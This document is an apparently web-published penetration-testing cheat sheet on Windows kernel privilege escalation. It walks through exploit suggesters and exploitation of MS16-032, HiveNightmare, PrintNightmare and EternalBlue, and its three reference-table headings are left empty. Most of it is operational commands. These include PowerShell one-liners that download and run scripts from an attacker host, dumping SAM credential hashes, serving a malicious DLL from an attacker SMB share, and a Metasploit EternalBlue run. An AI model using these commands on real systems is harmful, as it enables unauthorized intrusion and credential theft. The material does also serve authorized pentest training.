Kernel Exploits¶

When to Look for Kernel Exploits¶

Kernel exploits are typically your last resort — use them when:

• No service misconfigurations found
• No juicy privileges or group memberships
• No stored credentials
• System is old or heavily unpatched

Step 1: Gather System Information¶

:: Full system info (save output for exploit suggesters)
systeminfo > C:\temp\sysinfo.txt

:: Quick version check
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type" /C:"Hotfix(s)"

:: List installed patches
wmic qfe list brief
wmic qfe get Caption,Description,HotFixID,InstalledOn

:: Architecture (important for exploit selection)
echo %PROCESSOR_ARCHITECTURE%

Step 2: Use Exploit Suggesters¶

Windows Exploit Suggester - Next Generation (wesng)¶

Repo: github.com/bitsadmin/wesng

# On attacker machine
# Step 1: Update the database
python3 wes.py --update

# Step 2: Run against systeminfo output
python3 wes.py sysinfo.txt

# Step 3: Filter for privilege escalation only
python3 wes.py sysinfo.txt --impact "Elevation of Privilege"

# Step 4: Show only exploits with public POC
python3 wes.py sysinfo.txt --impact "Elevation of Privilege" --exploits-only

Sherlock (PowerShell — Older Systems)¶

# Import and run (good for Win 7/2008 era)
IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER/Sherlock.ps1')
Find-AllVulns

Watson (C# — .NET)¶

:: Compiled .NET binary, good for modern systems
Watson.exe

Repo: github.com/rasta-mouse/Watson

Metasploit Local Exploit Suggester¶

meterpreter> run post/multi/recon/local_exploit_suggester

Common Kernel Exploits Reference Table¶

Windows 7 / Server 2008 R2¶

Windows 8.1 / Server 2012 R2¶

Windows 10 / Server 2016-2022¶

Detailed Exploit Walkthroughs¶

MS16-032 — Secondary Logon Handle Privilege Escalation¶

Affects Windows 7, 8.1, 10 (pre-Anniversary), Server 2008/2012.

# PowerShell exploit (from PowerShellMafia)
IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER/Invoke-MS16-032.ps1')
Invoke-MS16-032

HiveNightmare / SeriousSAM (CVE-2021-36934)¶

A misconfiguration in Windows 10 v1809+ allows non-admin users to read the SAM, SYSTEM, and SECURITY hives via Volume Shadow Copies.

:: Step 1: Check if vulnerable (non-admin reading SAM)
icacls C:\Windows\System32\config\SAM
:: If BUILTIN\Users has (I)(RX) → VULNERABLE

:: Step 2: Run the exploit (reads hives from shadow copies)
HiveNightmare.exe

:: This creates SAM-haxx, SYSTEM-haxx, SECURITY-haxx in current directory

# Step 3: Extract hashes on attacker
impacket-secretsdump -sam SAM-haxx -system SYSTEM-haxx -security SECURITY-haxx LOCAL

PrintNightmare (CVE-2021-34527)¶

Exploits the Windows Print Spooler service to achieve LPE or RCE by abusing AddPrinterDriverEx().

# Check if target is vulnerable
rpcdump.py @TARGET_IP | grep -i "MS-RPRN\|MS-PAR"

# From attacker — host malicious DLL on SMB share
impacket-smbserver share $(pwd) -smb2support

# Exploit (multiple POCs available)
python3 CVE-2021-34527.py 'DOMAIN/user:password@TARGET_IP' '\\ATTACKER_IP\share\evil.dll'

EternalBlue (MS17-010) — Legacy Systems¶

Affects Windows 7, Server 2008 R2, and older unpatched systems.

# Step 1: Scan for vulnerability
nmap -p 445 --script smb-vuln-ms17-010 TARGET_IP

# Step 2: Exploit with Metasploit
msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS TARGET_IP
set LHOST ATTACKER_IP
run

Kernel Exploit Resources¶